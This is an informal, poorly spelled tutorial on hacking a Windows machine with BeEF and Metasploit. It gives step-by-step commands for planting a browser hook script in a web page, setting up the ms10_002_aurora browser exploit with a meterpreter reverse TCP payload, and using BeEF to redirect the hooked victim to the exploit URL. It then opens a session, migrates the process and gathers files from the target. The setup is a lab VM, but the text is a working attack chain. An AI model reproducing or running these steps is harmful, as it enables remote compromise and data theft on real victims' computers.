how to use beef :
open beef-xss from you computer,
the will show the terminal like thin your terminal
aotomatically in your web browser in your computer will show the beeef page,
put in your user name and password "beef"
you will entry the beef page like beside.
in there you will show IP that connected to your browser, online or offline
for preparation to use beef, we assumpt the windows in virtual box are the target, we setting that network to bridge, it make the virtual computer have acces to rooter with real computer, so he have wlan ip address and get the internet network like computer ussual.
start apache2, because we will run the web application.
service apache2 start
we back to terminal,
check our ip address in wlan,
then we migrate to file html location to put the hook script in file html.
because the web operating in var/www/html.
cd /var/www/html
nano index.html
why we edit index.html file?
because index.html is the opened page in the web. if we go to a web , the first page that we will show is index.html
we
copy the hook script in the index.html script and dont forget to change
the ip to our wlan ip, so the report will be reported to beef in our
web browser.
go to the web browser in virtual computer
go to index.html
http:/192.168.1.104/index.html
will show apace2 page,
go to the beef in web browser,
automatically in beef show the ip virtual computer in online,
it means, if the computer access our web, in behind, beef script is running and send report to our beef web browser.
how if we want to attack the client of web server or client side attact :
we make the exploit first :
open metasploit framework in your computer
msfconsle then click enter
choose the modul to web browser attack...
for the example we wiil use the aurora modules :
use exploit windows/browser/ms10_002_aurora then click enter
set SRVHOST (our ip address to listen the report)
set SRVPORT (port to open report)
set URIPATH (name of url that wanto to make)
choose the payload,
set PAYLOAD windows/meterpreter/reserves_tcp_dns
set LHOST (our IP address)
set LPORT (port number)
after that running the exploit wirh command :
exploit then click enter
will show the url of our exploit
, save this url
if the client browse that link, automatically they will be exploited. the show up the question....how to make the client browse that url???
we can use beef to force the client browsing our url....
check it out
continue above discussion about process how to use beef,
make sure the client had browse our web rowser.
in beef will show notification about ip that connect online with us
choose the ip, command-browser-hook domain-redirect browser
put in our exploit url to blank table,
then klick execute
back to the terminal,
that will show meterpreter sessions 1 opened...
then type:
sessions -l
will show ip that connected to our, choose one :
sessions -i (number of sessions that will choose)
we already entry to virtual computer, then migrate to exe or any program that running now in windows
migrate 1604 (ex)
klick run to get any information in the client computer
run (information)
example we want to know the host file
run post /windows/gather/enum_host file
there are will be save in address /root....
you will red the report through to file location
cat (name of file)
thats all....you already hack the target computer...thanks....
